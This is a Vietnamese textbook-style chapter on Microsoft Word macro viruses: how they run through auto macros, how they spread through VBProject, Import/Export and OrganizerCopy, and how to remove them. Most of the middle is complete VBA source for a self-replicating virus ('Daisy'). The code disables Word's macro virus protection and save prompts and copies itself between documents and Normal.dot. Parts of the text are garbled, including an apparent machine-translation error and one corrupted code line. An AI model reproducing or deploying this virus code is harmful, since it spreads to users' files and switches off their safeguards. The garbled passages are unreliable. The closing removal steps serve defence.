MACRO VIRUS
4.1. Giới thiệu
Macro-MS Office (trong phần này và tiếp theo sẽ gọi tắt là macro) là chương trình được viết với các ngôn ngữ như WordBasic, VBA (Visual Basic for Application) để tự động thực hiện một số thao tác bên trong một ứng dụng nền của Microsoft Office như Microsoft Word, Excel, PowerPoint.
Các macro VBA được xây dựng ở dạng các thủ tục (procedure) hay các hàm (function). Một chương trình viết trên ngôn ngữ VBA có thể truy cập tới các document, worksheet, Microsoft Outlook hay một đối tượng ứng dụng nào đó để đọc hay ghi dữ liệu.
Như vậy, nếu những macro được thiết kế có tiềm năng tự sao chép chúng từ chỗ này sang chỗ khác, thì chúng trở thành các virus máy tính, bởi chúng vừa có tiềm năng lây nhiễm, một đặc tính quan trọng của virus máy tính.
Ngoài các macro do người sử dụng tự thiết kế, trong các ứng dụng của Microsoft Office có một số macro được tự động thi hành như:
- AutoExec: được thi hành mỗi khi mở chương trình ứng dụng.
- AutoNew: được thi hành để làm ra (tạo) một tài liệu/văn bản mới.
- AutoOpen: được thi hành để mở một tài liệu vừa có.
- AutoClose: được thi hành để đóng một tài liệu đang mở.
- AutoExit: được thi hành mỗi khi thoát khỏi ứng dụng.
4.2. cách lây nhiễm
Kỹ thuật lây nhiễm của các virus macro khá (nhiều) đa dạng, phong phú, chủ yếu phụ thuộc trên các chức năng sao chép các macro từ file văn bản này sang file văn bản khác mà các ứng dụng nền hỗ trợ. Mỗi đối tượng VBComponent có một đối tượng con là CodeModule, cho phép thao tác trên các module chương trình có trong file văn bản. Virus có thể sử dụng các thuộc tính, cách sẵn có để thao tác trực tiếp trên các module này.
4.2.1 Thông qua thành phần VBProject của các đối tượng Microsoft Office. Các macro được lưu trữ ngay trong file đối tượng (Document, WorkSheet, E-Mail) hay trong các tệp định dạng (Template) và được tham chiếu qua đối tượng Document hay WorkSheet. Mỗi đối tượng Document đều có thành phần VBProject. Trong VBProject có Container Object, là một VBComponents, chứa các thành phần VBA của file văn bản.
4.2.2 Sử dụng các dịch vụ Import và Export.
4.2.3 Trong đối tượng VBComponents có một cách là Import, cho phép nhập thêm các thành phần VBA (Form/Module/Class) từ một file. Mỗi thành phần VBA VBComponent cũng có một cách là Export cho phép xuất chính nó ra thành một file (.FRM, .BAS, .CLA). Mỗi khi muốn sao chép các chương trình virus sang một file văn bản mới, trước hết sử dụng lệnh Export để xuất chương trình ra một file, sau đó sử dụng lệnh Import để nhập chương trình virus vào file văn bản mới.
4.2.4 Sử dụng OrganizerCopy. cách OrganizerCopy của đối tượng Application có thể được sử dụng để sao chép chương trình virus sang một file văn bản khác. Giả sử trong file NormalTemplate vừa có virus macro TEST01 (tên module virus - macro là TEST01 trong VBA)
Sub SaveDocument()
On Error Resume Next
DaNhiem = False
For Each obj In ActiveDocument.VBProject.VBComponents
If obj.Name = "TEST01" Then DaNhiem = True
Next obj
If DaNhiem=False Then
Application.OrganizerCopy
Source:=NormalTemplate.FullName,
Destination:=ActiveDocument,
Name:="MacVirus",
Object:=wdOrganizerObjectProjectItems
End If
End Sub
Thủ tục copy virus từ một file tài liệu vừa bị nhiễm virus vào file NormalTemplate.
Sub SaveTemplate()
On Error Resume Next
DaNhiem = False
For Each obj In NormalTemplate.VBProject.VBComponents
If obj.Name = "TEST01" Then DaNhiem = True
Next obj
If DaNhiem = False Then
Application.OrganizerCopy
Source:=ActiveDocument.FullName,
Destination:=NormalTemplate.FullName,
Name:="MacVirus",
Object:=wdOrganizerObjectProjectItems
End If
End Sub
4.3. Ví dụ minh hoạ
Macro Virus được xây dựng trong ví dụ này là virus lây lan trong các tệp tài liệu (document). Tệp được dùngcoi nhưmôi trường để lây lan ở đây là tệp NORMAL.DOT. Tệp này được chọn làm công cụ truyền virus là vì hầu hết các Document đều sử dụng những thông tin chung về định dạng từ tệp này. Kí hiệu virus được nêu là M01.
Nguyên lý hoạt động ở đây cũng rất đơn giản. Giả sử một tệp X đang được kích hoạt vừa nhiễm virus. Có hai tiềm năng xảy ra:
• Tệp X là tệp NORMAL.DOT, khi này đối tượng lây lan sẽ là Active Document.
• X là một Document, đối tượng lây nhiễm sẽ là NORMAL.DOT.
1) Trường hợp 1: X là tệp Normal.Dot, khi này macro đầu tiên được kích hoạt sẽ phải là Macro Open, do phải mở Document (New or Old). Công chuyện phải làm là thi hành đoạn chương trình kèm với Auto Macro Open. Lưu ý rằng đoạn chương trình virus gắn vào trong Normal.dot là kèm với macro Open.
2) Trường hợp 2: X là tệp Active Document, khi này macro được kích hoạt lên là Macro Close, vì Document vừa được mở trước đó. Công chuyện phải làm là thi hành đoạn chương trình kèm với Auto Macro Close.
Active Macro Close:
1. Control MACRO := False;
2. Option.ConfirmConversions := False;
3. Option.VirusProtection := False;
4. Option.SaveNormalPrompt := False;
5. AD := ActiveDocument.VBProject.VBComponents.Item(1)
6. NT := NomalTemplate.VBProject.VBComponents.Item(1)
7. If AD isn’t Infected Then F := AD, F1:= NT
8. If NT isn’t Infected Then F := NT, F1 := AD
9. If NT is Infected and AD is Infected Then
a) Delete all lines in F.CodeModule
b) Put the virus’s sign into F
c) F’s Infection := TRUE
a) You are in F1 now!
b) Delete all First Empty Lines in F1’s CodeModule
c) Insert String "Private Sub Document_Close()" into 1st Line in F
d) Copy from 2nd to CountOfLine from F1 to F
Else
If now you are in AD then Insert String "Hi, now your document was infected? ".
Phương án 1, lây vào Norrmal.dot và Active Document với macro CLOSE.
Private Sub Document_Close()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Enabled = True 'False ‘ đặt khóa bảo ‘mật sử dung
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False ‘Tắt ràng buộc hỏi save tất cả cái vừa sửa
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
dt = 2
DoIn = False
If AD.Name <> "Daisy" Then
Set F = AD
Set F1 = NT
DoIn = True
End If
If NT.Name <> "Daisy" Then
Set F = NT
Set F1 = AD
DoIn = True
End If
‘GHI VIRUS VAO FILE DICH
If DoIn = False Then GoTo Destroy
Sd = F.CodeModule.CountOfLines ‘ số dồng phần đích
If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
F.Name = "Daisy"
If DoIn = True Then
Do While F1.CodeModule.Lines(1, 1) = "" ‘bỏ qua dòng trống
F1.CodeModule.DeleteLines 1
Loop
F.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While F1.CodeModule.Lines(dt, 1) <> "" ‘KHI CHUA GAP DONG CUOI
F.CodeModule.InsertLines dt, F1.CodeModule.Lines(dt, 1)
dt = dt + 1
Loop
End If
Destroy:
Selection.TypeText "Hi, I am here ! "
End Sub
------------------------------
Phương án 2, lây vào Norrmal.dot với macro OPEN và Active Document với macro CLOSE.
Private Sub Document_Close()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Enabled = True 'False
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
dt = 2
DoInN = False
DoInD = False
If AD.Name <> "Daisy" Then
Set F = AD
Set F1 = NT
DoInD = True
End If
If NT.Name <> "Daisy" Then
Set F = NT
Set F1 = AD
DoInN = True
End If
If DoInN = False And DoInD = False Then GoTo Destroy
Sd = F.CodeModule.CountOfLines
If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
F.Name = "Daisy"
If DoInD = True Or DoInN = True Then
Do While F1.CodeModule.Lines(1, 1) = ""
F1.CodeModule.DeleteLines 1
Loop
If DoInD Then
F.CodeModule.AddFromString ("Private Sub Document_Close()")
Else
F.CodeModule.AddFromString ("Private Sub Document_Open()")
End If
Do While F1.CodeModule.Lines(dt, 1) <> ""
F.CodeModule.IHello, I am MacroVirus ! dt, F1.CodeModule.Lines(dt, 1)
dt = dt + 1
Loop
End If
Destroy:
Selection.TypeText Date & "Hi, I am here ! "
End Sub
4.4. Biện phápphòng chốngchống
Macro virus có thể không cùng nguy hiểm khi phá hoại nhưng có thểphòng chốngchống nó tương đối dễ dàng. Đương nhiên, nếu có những chương trình đủ mới và mạnh thì chỉ cần thi hành các chương trình này đểphòng chốngchống virus là đủ (trừ khi virus macro là rất mới so với chương trình kiểm tra và diệt virus).Với những trường hợp bất có những chương trình kiểm tra và diệt virus đủ mới và mạnh thì có thể thực hiện một số bước ban đầu như sau khi nghi ngờ máy tính bị nhiễm virus macro:
1) Tắt toàn bộ các ứng dụng Office như Microsoft Word, Excel, Power Point.
2) Vào Folders Program Files\Microsoft Office\Templates hay Folder Templates trong Folder chứa bộ chương trình Office. Tìm trong Folder này tệp Normal.Dot. Xoá tệp này.
3) Nếu trên máy tính có các tệp template khác (phần mở rộng lớn là DOT), bị nhiễm virus macro thì cũng phải xoá các tệp template này.
Các bước trên nhằm hạn chế virus lây lan từ các tệp định dạng (templates) sang các tệp tài liệu sạch sẽ hay tệp mới được làm ra (tạo) ra.
Cũng cần chú ý là các bước 1, 2 và 3 được thực hiện nếu trong các tệp template bất chứa những định dạng quan trọng, ảnh hưởng tới nhiều tài liệu khác trên máy tính.
Các bước tiếp theo đây là nhằm khống chế virus bất lây lan từ các tệp tài liệu vừa bị nhiễm mà vẫn có thể làm chuyện tạm thời (gian) với các tài liệu này ở chế độ Read-Only:
1) Mở ứng dụng của Microsoft Office, chọn menu Tools, trong menu này chọn Option.... Trong cửa sổ Option chọn General, đánh dấu ở hộp Macro virus protection.
2) Sau khi đặt Macro virus protection như trên mỗi khi mở tệp tài liệu có chứa macro (lành hay virus) sẽ xuất hiện câu hỏi bạn co muốn kích hoạt macro không ?
Nếu chọn Disable Macros thì sẽ mở tài liệu ở dạng Read-Only. Nếu chọn Enable Macros thì các macros sẽ được kích hoạt.
3) Mặc dù chọn Disable Macros thì tài liệu chỉ được mở ở dạng Read-Only nhưng macro virus bất được kích hoạt và có thể vào xem virus được:
• Chọn menu Tools -> Macro -> Visual Basic Editor;
• Trong cửa sæ Microsoft Visual Basic [This Document] này chọn hộp Project -> [Tên Document] -> Microsoft Word Object -> Tên Macro.
• Chuyển sang ô cửa sæ soạn thảo đoạn ngựa nguồn của Macro, xoá toàn bộ đoạn ngựa nguồn. Ghi tài liệu dưới dạng Save As.
• Quay lại xoá tài liệu cũ (vẫn còn chứa Macro).
4) Copy toàn bộ nội dung của file Word vào vùng đệm, chú ý bỏ qua một hay vài dấu cách trắng cuối file, khi đó macro trong file bất được copy (Nếu copy hết các dấu trắng thì sẽ copy cả phần session chứa macro). Mở một tài liệu mới, lưu nội dung trên vùng đệm vào tệp. Ghi tệp mới vào đĩa. Tệp mới sẽ bất chứa virus.